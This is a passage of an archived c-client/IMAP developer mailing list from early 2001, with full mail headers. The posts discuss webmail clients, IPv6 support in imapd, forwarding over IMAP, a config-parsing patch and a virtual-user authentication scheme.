Tomobiki-Cho.CAC.Washington.EDU (metka@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW00.12) with ESMTP id SAA09042; Wed, 21 Feb 2001 18:22:23 -0800 Message-Id: Date: Wed, 21 Feb 2001 18:21:33 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Terry Davis Cc: c-client@u.washington.edu, imap@u.washington.edu Subject: re: env_init() problems after previous install In-Reply-To: <3A937546.3CE51475@birddog.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN The most likely explanation for your problem is that your subscription list is messed up. Try deleting the .mailboxlist file. You might also try using a better client than Netscape or Outlook [Express]. From pinedev@shivax2.cac.washington.edu Wed Feb 21 18:59:18 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 21 Feb 2001 18:59:18 -0800 (PST) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with SMTP id SAA29466 for ; Wed, 21 Feb 2001 18:59:17 -0800 (PST) Received: FROM mx1.cac.washington.edu BY claven.cac.washington.edu ; Wed Feb 21 18:59:16 2001 -0800 Received: from list2.u.washington.edu (root@list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id SAA26237; Wed, 21 Feb 2001 18:59:14 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with SMTP id SAA17594; Wed, 21 Feb 2001 18:55:46 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with ESMTP id SAA57266 for ; Wed, 21 Feb 2001 18:55:21 -0800 Received: from chrome2.apexvoice.com (ns1.apexvoice.com [206.117.255.11]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id SAA09073 for ; Wed, 21 Feb 2001 18:55:20 -0800 Received: from steve (steve.apexvoice.com [206.117.255.8]) by chrome2.apexvoice.com (8.9.3/8.9.3) with SMTP id TAA11158 for ; Wed, 21 Feb 2001 19:10:01 -0800 Message-Id: Date: Wed, 21 Feb 2001 18:52:53 -0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Steve Collins" To: Subject: Web Clients MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_003A_01C09C37.7EE90A70" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. ------=_NextPart_000_003A_01C09C37.7EE90A70 Content-Type: multipart/alternative; boundary="----=_NextPart_001_003B_01C09C37.7EE90A70" ------=_NextPart_001_003B_01C09C37.7EE90A70 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Marc mentioned that some Web Mail clients are "bad"; they hog resources. We are using IMP ; I guess that falls under the bad category??? Any recommendations for "well-behaved" clients? ------------------------- Steve Collins APEX Voice Communications 818.379.8400 ext 113 ------=_NextPart_001_003B_01C09C37.7EE90A70 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable

    Marc = mentioned that=20 some Web Mail clients are "bad"; they hog resources.  We are using = IMP ; I=20 guess that falls under the bad category???
     
    Any recommendations for "well-behaved" = clients?

    -------------------------
    Steve Collins
    APEX = Voice=20 Communications
    818.379.8400 ext 113

     
    ------=_NextPart_001_003B_01C09C37.7EE90A70-- ------=_NextPart_000_003A_01C09C37.7EE90A70 Content-Type: text/x-vcard; name="Steve Collins.vcf" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="Steve Collins.vcf" BEGIN:VCARD VERSION:2.1 N:Collins;Steve FN:Steve Collins ORG:APEX Voice Communications TITLE:Software Development Mgr, Messaging Systems TEL;WORK;VOICE:818.379.8400 ADR;WORK:;;15250 Ventura Blvd;Sherman Oaks;CA;91403;United States of = America LABEL;WORK;ENCODING=3DQUOTED-PRINTABLE:15250 Ventura = Blvd=3D0D=3D0ASherman Oaks, CA 91403=3D0D=3D0AUnited States of America EMAIL;PREF;INTERNET:scollins@apexvoice.com EMAIL;INTERNET:stevecollins@mail.com REV:20001213T231802Z END:VCARD ------=_NextPart_000_003A_01C09C37.7EE90A70-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Feb 22 01:04:31 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 22 Feb 2001 01:04:30 -0800 (PST) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with SMTP id BAA04315 for ; Thu, 22 Feb 2001 01:04:29 -0800 (PST) Received: FROM mx1.cac.washington.edu BY claven.cac.washington.edu ; Thu Feb 22 01:04:29 2001 -0800 Received: from list2.u.washington.edu (root@list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id BAA00306; Thu, 22 Feb 2001 01:04:24 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with SMTP id AAA34104; Thu, 22 Feb 2001 00:59:47 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with ESMTP id AAA17150 for ; Thu, 22 Feb 2001 00:56:51 -0800 Received: from furgoneta.uv.es (furgoneta.ci.uv.es [147.156.1.46]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id AAA00438 for ; Thu, 22 Feb 2001 00:56:50 -0800 Received: from tigris.uv.es (eufrates.ci.uv.es [147.156.1.50]) by furgoneta.uv.es (8.9.0/8.9.0) with ESMTP id JAA29122; Thu, 22 Feb 2001 09:56:43 +0100 Received: from iluso.ci.uv.es (iluso.ci.uv.es [147.156.1.25]) by tigris.uv.es (8.9.3/8.9.3) with ESMTP id JAA02388; Thu, 22 Feb 2001 09:56:42 +0100 (MET) Message-Id: Date: Thu, 22 Feb 2001 09:56:41 +0100 (MET) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Jose Agustin Lopez Bueno To: Steve Collins Cc: c-client@u.washington.edu Subject: Re: Web Clients In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: lopezj@iluso.ci.uv.es X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, Steve! We are using Postman, developped by us (University of Valencia). Postman this being used in production from beginning of year 2000 in the University of Valencia in a server HP-UX with 256 MB of RAM and supporting peaks of to 160 simultaneous users without producing no remarkable load in the server. In that server we are running the apache web daemons, the imap daemons and the postman daemons. A previous software, that towards use of another technology (mod_perl), exhausted the resources of the server with the 60 or less usuary ones. See ftp://ftp.uv.es/pub/unix/postman/postman.html for more details. Regards, Agustin On Wed, 21 Feb 2001, Steve Collins wrote: > Marc mentioned that some Web Mail clients are "bad"; they hog resources. We > are using IMP ; I guess that falls under the bad category??? > > Any recommendations for "well-behaved" clients? > ------------------------- > Steve Collins > APEX Voice Communications > 818.379.8400 ext 113 > > > ============================================================ | Jose Agustin Lopez Bueno | | E-Mail: Agustin.Lopez@uv.es | http://www.uv.es/~lopezj/ | | Tel: +34-6-3864310 | Fax: +34-6-3864200 | | Servicio de Informatica, Universidad de Valencia, Spain | ============================================================ From pinedev@shivax2.cac.washington.edu Thu Feb 22 13:54:40 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 22 Feb 2001 13:54:39 -0800 (PST) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with SMTP id NAA25444 for ; Thu, 22 Feb 2001 13:54:38 -0800 (PST) Received: FROM mx1.cac.washington.edu BY claven.cac.washington.edu ; Thu Feb 22 13:54:37 2001 -0800 Received: from list2.u.washington.edu (root@list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA21102; Thu, 22 Feb 2001 13:54:35 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with SMTP id NAA10806; Thu, 22 Feb 2001 13:52:38 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with ESMTP id NAA46962 for ; Thu, 22 Feb 2001 13:49:38 -0800 Received: from gateway.zk3.dec.com (nashua.zk3-x.dec.com [206.152.163.42]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with SMTP id NAA11611 for ; Thu, 22 Feb 2001 13:49:38 -0800 Received: by gateway.zk3.dec.com; (5.65v4.0/1.3/10May95) id AA31606; Thu, 22 Feb 2001 16:49:37 -0500 Received: from hickory by islet.zk3.dec.com (8.10.2/1.1.2.10/17Oct00-0439PM) id f1MLnZh0000074121; Thu, 22 Feb 2001 16:49:36 -0500 (EST) Message-Id: <083f01c09d19$59993550$57008d10@zk3.dec.com> Date: Thu, 22 Feb 2001 16:49:32 -0500 Reply-To: "Peter Derr" Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Peter Derr" To: Subject: any work with IPv6 in progress? Mime-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_083C_01C09CEF.6E56C130" X-Priority: 3 X-Msmail-Priority: Normal X-Mimeole: Produced By Microsoft MimeOLE V5.50.4133.2400 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. ------=_NextPart_000_083C_01C09CEF.6E56C130 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Are there any plans to make the imapd work with IPv6, or is anyone = working on this? Thanks, Peter =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Peter Derr Compaq Tru64 UNIX Internet Engineering Group Tel: +1 603 884 2977 Peter.Derr@Compaq.com ------=_NextPart_000_083C_01C09CEF.6E56C130 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
    Are there any plans to make the imapd = work with=20 IPv6, or is anyone working on this?
     
    Thanks,
    Peter
     
     
    =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
    Peter Derr
    Compaq = Tru64 UNIX=20 Internet Engineering Group
    Tel: +1 603 884 2977
    Peter.Derr@Compaq.com     ------=_NextPart_000_083C_01C09CEF.6E56C130-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Feb 22 14:25:37 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 22 Feb 2001 14:25:37 -0800 (PST) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with SMTP id OAA10246 for ; Thu, 22 Feb 2001 14:25:36 -0800 (PST) Received: FROM mx1.cac.washington.edu BY claven.cac.washington.edu ; Thu Feb 22 14:25:35 2001 -0800 Received: from list2.u.washington.edu (root@list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id OAA22243; Thu, 22 Feb 2001 14:25:33 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with SMTP id OAA32622; Thu, 22 Feb 2001 14:23:51 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with ESMTP id OAA44966 for ; Thu, 22 Feb 2001 14:21:56 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (seung@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id OAA23688 for ; Thu, 22 Feb 2001 14:21:56 -0800 Message-Id: Date: Thu, 22 Feb 2001 14:16:07 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Peter Derr Cc: c-client@u.washington.edu Subject: re: any work with IPv6 in progress? In-Reply-To: <083f01c09d19$59993550$57008d10@zk3.dec.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 22 Feb 2001 16:49:32 -0500, Peter Derr wrote: > Are there any plans to make the imapd work with IPv6, or is anyone working > on this? Does imapd not work with ipv6? Domain literals probably won't work in the client code, because inet_addr() returns an unsigned long instead of a struct in_addr, but domain names should and I'm not away of anything else that's obviously broken by ipv6. But I don't have an ipv6 system to test on. From pinedev@shivax2.cac.washington.edu Thu Feb 22 15:00:32 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 22 Feb 2001 15:00:32 -0800 (PST) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with SMTP id PAA23329 for ; Thu, 22 Feb 2001 15:00:31 -0800 (PST) Received: FROM mx2.cac.washington.edu BY claven.cac.washington.edu ; Thu Feb 22 15:00:30 2001 -0800 Received: from list1.u.washington.edu (root@list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA04944; Thu, 22 Feb 2001 15:00:28 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with SMTP id OAA26052; Thu, 22 Feb 2001 14:58:38 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with ESMTP id OAA40406 for ; Thu, 22 Feb 2001 14:56:05 -0800 Received: from gateway.zk3.dec.com (nashua.zk3-x.dec.com [206.152.163.42]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with SMTP id OAA19018 for ; Thu, 22 Feb 2001 14:56:02 -0800 Received: by gateway.zk3.dec.com; (5.65v4.0/1.3/10May95) id AA00949; Thu, 22 Feb 2001 17:56:01 -0500 Received: from hickory by islet.zk3.dec.com (8.10.2/1.1.2.10/17Oct00-0439PM) id f1MMtwh0000074340; Thu, 22 Feb 2001 17:55:58 -0500 (EST) Message-Id: <086101c09d22$a01e40c0$57008d10@zk3.dec.com> Date: Thu, 22 Feb 2001 17:55:53 -0500 Reply-To: "Peter Derr" Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Peter Derr" To: "Mark Crispin" Cc: Subject: Re: any work with IPv6 in progress? References: Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-Msmail-Priority: Normal X-Mimeole: Produced By Microsoft MimeOLE V5.50.4133.2400 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > > Are there any plans to make the imapd work with IPv6, or is anyone working > > on this? > > Does imapd not work with ipv6? > > Domain literals probably won't work in the client code, because inet_addr() > returns an unsigned long instead of a struct in_addr, but domain names should > and I'm not away of anything else that's obviously broken by ipv6. Well, I'm still learning about this, but besides what you point out above, I understand that you need to use AF_INET6 sockets (which work with both IPv4 and IPv6) instead of AF_INET sockets, sockaddr_in6 structs instead of sockaddr_in, getaddrinfo() instead of gethostbyname(), etc... You'd have to do code #ifdefs to allow it to build and run on systems that didn't have IPv6 headers and libraries. I'm hoping the required changes would be pretty much confined to osdep/unix/tcp_unix.c . In general, it doesn't seem too difficult, but in the interest of avoiding duplication of effort, I'm wondering if anyone has tried this or investigated it further. Peter From pinedev@shivax2.cac.washington.edu Fri Feb 23 05:06:44 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 23 Feb 2001 05:06:43 -0800 (PST) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with SMTP id FAA16550 for ; Fri, 23 Feb 2001 05:06:42 -0800 (PST) Received: FROM mx2.cac.washington.edu BY claven.cac.washington.edu ; Fri Feb 23 05:06:42 2001 -0800 Received: from list3.u.washington.edu (root@list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id FAA23872; Fri, 23 Feb 2001 05:06:38 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with SMTP id FAA23150; Fri, 23 Feb 2001 05:03:56 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with ESMTP id FAA108036 for ; Fri, 23 Feb 2001 05:02:51 -0800 Received: from sunmail.canal-plus.fr (sunmail.canal-plus.fr [194.2.208.66]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id FAA32265 for ; Fri, 23 Feb 2001 05:02:49 -0800 Received: from sun228.canal-plus.fr (sun228 [172.20.8.228]) by sunmail.canal-plus.fr (8.10.1/8.10.1) with ESMTP id f1ND87i00188 for ; Fri, 23 Feb 2001 14:08:07 +0100 (MET) Received: from tvnum.canal-plus.fr (tvnum [172.20.8.1]) by sun228.canal-plus.fr (8.8.8+Sun/8.8.8) with ESMTP id OAA16795 for ; Fri, 23 Feb 2001 14:02:43 +0100 (MET) Received: from canal-plus.fr (pc8099 [172.20.8.99]) by tvnum.canal-plus.fr (8.8.8/8.8.8) with ESMTP id OAA11273 for ; Fri, 23 Feb 2001 14:02:43 +0100 (MET) Message-Id: <3A965E5E.51709BF@canal-plus.fr> Date: Fri, 23 Feb 2001 13:58:06 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: lelalem@canal-plus.fr To: c-client@u.washington.edu Subject: forward a message via imap server MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: fr X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN HI All, can i forward a message which contains attachement whitout download it from the server. Is there an imap command to do this ? Thanks in advance. Lahcen.E -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Feb 23 14:28:29 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 23 Feb 2001 14:28:28 -0800 (PST) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with SMTP id OAA19701 for ; Fri, 23 Feb 2001 14:28:27 -0800 (PST) Received: FROM mx1.cac.washington.edu BY claven.cac.washington.edu ; Fri Feb 23 14:28:26 2001 -0800 Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id OAA27318; Fri, 23 Feb 2001 14:28:20 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with SMTP id OAA28942; Fri, 23 Feb 2001 14:25:40 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with ESMTP id OAA33040 for ; Fri, 23 Feb 2001 14:22:23 -0800 Received: from patan.sun.com (patan.Sun.COM [192.18.98.43]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id OAA03413 for ; Fri, 23 Feb 2001 14:22:22 -0800 Received: from westmail2.West.Sun.COM ([129.153.100.30]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA00433; Fri, 23 Feb 2001 14:22:21 -0800 (PST) Received: from nifty-jr.west.sun.com (nifty-jr.West.Sun.COM [129.153.12.95]) by westmail2.West.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA00822; Fri, 23 Feb 2001 14:22:20 -0800 (PST) Message-Id: <651560.982938019@nifty-jr.west.sun.com> Date: Fri, 23 Feb 2001 14:20:19 -0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Chris Newman To: lelalem@canal-plus.fr, c-client@u.washington.edu Subject: Re: forward a message via imap server In-Reply-To: <3A965E5E.51709BF@canal-plus.fr> References: <3A965E5E.51709BF@canal-plus.fr> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --On Friday, February 23, 2001 13:58 +0100 lelalem@canal-plus.fr wrote: > can i forward a message which contains attachement whitout download it > from the server. Is there an imap command to do this ? Not currently. There's been recent discussion of a "CHANNEL" extension to IMAP which would allow part[s] of an IMAP message to be directed to another system for content conversion or other processing. It's my opinion that the right architecture to do what you desire would use the CHANNEL extension (or something similar) to direct an IMAP message to an SMTP SUBMIT service. It's very important for scalability of large mail systems to preserve the functional separation between IMAP and SMTP and there are tricky security issues, so such a system would have to be designed carefully. - Chris From pinedev@shivax2.cac.washington.edu Mon Feb 26 02:06:27 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 26 Feb 2001 02:06:27 -0800 (PST) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with SMTP id CAA06557 for ; Mon, 26 Feb 2001 02:06:26 -0800 (PST) Received: FROM mx1.cac.washington.edu BY claven.cac.washington.edu ; Mon Feb 26 02:06:25 2001 -0800 Received: from list1.u.washington.edu (root@list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id CAA25387; Mon, 26 Feb 2001 02:06:23 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with SMTP id CAA16892; Mon, 26 Feb 2001 02:02:25 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with ESMTP id BAA117246 for ; Mon, 26 Feb 2001 01:58:37 -0800 Received: from david.siemens.de (david.siemens.de [192.35.17.14]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id BAA25709 for ; Mon, 26 Feb 2001 01:58:35 -0800 Received: from mail2.siemens.de (mail2.siemens.de [139.25.208.11]) by david.siemens.de (8.11.0/8.11.0) with ESMTP id f1Q9wYu21811 for ; Mon, 26 Feb 2001 10:58:34 +0100 (MET) Received: from MOWD019A.mow.siemens.ru ([139.24.18.3]) by mail2.siemens.de (8.11.0/8.11.0) with ESMTP id f1Q9wXh24909 for ; Mon, 26 Feb 2001 10:58:33 +0100 (MET) Received: from itsrm2 (itsrm2.mow.siemens.ru [149.202.201.17]) by MOWD019A.mow.siemens.ru with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id F359AQC3; Mon, 26 Feb 2001 13:08:22 +0300 Message-Id: Date: Mon, 26 Feb 2001 12:58:32 +0300 (MSK) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Andrej Borsenkow To: c-client@u.washington.edu Subject: blackbox trouble in imap-2001.BETA.SNAP-0102201858 MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Envelope-Sender-Is: Andrej.Borsenkow@mow.siemens.ru (at relayer david.siemens.de) X-Sender: bor@itsrm2.mow.siemens.ru X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Now server calls dorc("/etc/c-client.cf") two times (in env_init() and server_init()); the second ones fails because of else if (!strcmp (s,"set black-box-directory")) { if (blackBoxDir) /* users aren't allowed to do this */ mm_log ("Can't set black-box-directory in user init",ERROR); for now I changed this into else if (blackBoxDir) { if (strcmp(file,"/etc/c-client.cf")) { mm_log(...) } else blackBoxDir = cpystr (k) but I do not know if it is correct in the long run -andrej -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Mar 8 12:28:29 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 8 Mar 2001 12:28:25 -0800 (PST) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with SMTP id MAA13089 for ; Thu, 8 Mar 2001 12:28:24 -0800 (PST) Received: FROM mx2.cac.washington.edu BY claven.cac.washington.edu ; Thu Mar 08 12:28:23 2001 -0800 Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA13686; Thu, 8 Mar 2001 12:28:21 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with SMTP id MAA07438; Thu, 8 Mar 2001 12:26:00 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with ESMTP id MAA39860 for ; Thu, 8 Mar 2001 12:23:03 -0800 Received: from europa.gatecom.com ([209.69.204.245]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA18581 for ; Thu, 8 Mar 2001 12:23:01 -0800 Received: from ptr by europa.gatecom.com with local (Exim 3.20 #3) id 14b7WG-0007Zt-00 for c-client@u.washington.edu; Thu, 08 Mar 2001 16:00:20 -0500 Message-Id: Date: Thu, 08 Mar 2001 16:00:20 EST Reply-To: ptr@europa.gatecom.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: J T Breitner To: c-client@u.washington.edu Subject: Pondering Future Project Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Remote-Host: 209.69.206.248 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I've been charged with creating a virtual user scheme that doesn't rely upon LDAP. LDAP is mostly cool, and likely may solve this problem, but the customer is flat against this "single point of failure for many machines many customers". I realize that this could be a lengthy and heated thread on its own, so I'd rather not get into it. Let's just suffice to say that LDAP is o-u-t. The proposed scheme isn't anything magical, each domain has its own /etc/passwd file. Just experimenting over the course of an hour or two, I've managed to mangle ipop3d into determinging the virtual domain, separating a login, properly validating and retrieving mail. The popserver setuids to a common user/group id, and all mailboxes and directories are owned by the common "vuser" user/group. While this is all cute, I don't see this kludge as a satisfactory method. First, it won't support POP AUTH LOGIN because the kludge isn't that sophisticated (yet). Furthermore, it seems that if it's to really fit into c-client, it needs to be brought into it as an authenticator. My understanding of the IMAP server leads me to believe that running it as a common user/group could be a tricky security situation since the user could technically specify a directory other than their own if they knew the paths. So am I correct in thinking that the proper way to fix the ipop3d server is to create my own authenticator? And also, does anyone have comments on the security issues of the IMAP server using this authentication method and running as a common "virtual user"? Lastly, if creating an authenticator is the way to pull this off, any resources about this other than internal.txt, source-code and a lot of caffeine? Thanks... -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Mar 20 22:00:10 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 20 